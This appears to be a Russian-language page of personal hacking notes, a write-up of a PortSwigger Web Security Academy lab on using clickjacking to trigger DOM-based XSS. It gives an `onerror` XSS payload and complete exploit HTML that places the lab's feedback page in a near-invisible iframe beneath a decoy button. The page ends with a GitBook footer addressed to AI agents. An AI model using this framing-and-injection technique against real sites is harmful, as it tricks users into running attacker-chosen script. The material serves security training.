> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/clickjacking/clickjacking-to-trigger-dom-xss.md).

# Кликджекинг для запуска DOM XSS

Заметки по кликджекингу для запуска DOM XSS для лабораторных работ PortSwigger Web Security Academy, включая процесс эксплуатации, тестирование полезной нагрузки, проверку в Burp Suite и контекст исправления.

### Эксплуатация уязвимости Clickjacking для вызова DOM-based XSS

#### Цель

Заставить пользователя нажать на кнопку ("Click Me"), встроенную во фрейм, чтобы выполнить `print()` функцию через XSS-уязвимость, срабатывающую по клику.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-135e840a3483f88961ce24c6dcaf0e0e665e5fb8%2Fimage%20(346).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Контекст / Наблюдения

* Эта **обратной связи** форма имеет `имя` параметр, уязвимый к DOM XSS (JavaScript-пейлоад выполняется, когда изображение не загружается, и вызывает нужную функцию).
* Пример обнаруженного пейлоада: `&name=<img src=0 onerror=print()>`.

```html
<img src=0 onerror=alert(0)>
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a89ed1469c96f1daf327a8fba87802a078bdd71f%2Fimage%20(347).png?alt=media" alt=""><figcaption></figcaption></figure>

* Другие полезные параметры для предварительного заполнения формы во фрейме: `электронная почта`, `тема`, `сообщение`.

#### Используемая полезная нагрузка

Чтобы вызвать `print()` через уязвимость в `имя`:

```html
<img src=0 onerror=print()>
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3cf337a5ebc19e889b954f09f33d01509156e030%2Fimage%20(348).png?alt=media" alt=""><figcaption></figcaption></figure>

* Вставьте `<iframe>` указывающий на `/feedback` уязвимую страницу с предварительно заполненными параметрами (`имя`, `электронная почта`, `тема`, `сообщение`) содержащими XSS-пейлоад.

```
?name=jordan&email=hello@jord4n.pro&subject=hacked&message=hack
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9df9caa349040520c320a642f392b71d98f1c20c%2Fimage%20(350).png?alt=media" alt=""><figcaption></figcaption></figure>

1. Сделайте фрейм почти невидимым (очень низкая непрозрачность) и наложите поверх него приманку, расположив её так, чтобы клик жертвы попадал по кнопке "Click Me" внутри фрейма.
2. Когда жертва нажимает на приманку, клик передаётся во фрейм, и DOM XSS срабатывает — здесь `print()` вызывается.

#### Пример кода для размещения на сервере эксплойта

```html
<style>
iframe{
width: 1000px;
height:900px;
}
div{
position: relative;
top: 830px;
left: 80px;
}
</style>
<div>Нажмите</div>
<iframe src="https://0a6200db035e811c815e804300ac0083.web-security-academy.net/feedback?name=%3Cimg%20src=0%20onerror=print()%3E&email=hello@jord4n.pro&subject=hacked&message=hack"</iframe>
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ba8cbe6c1cd798b3a82e42a844b74f337e45b87%2Fimage%20(351).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-740eaf6309dc4fbc1503387e721a3bf209a9b34d%2Fimage%20(353).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/web/clickjacking/clickjacking-to-trigger-dom-xss.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
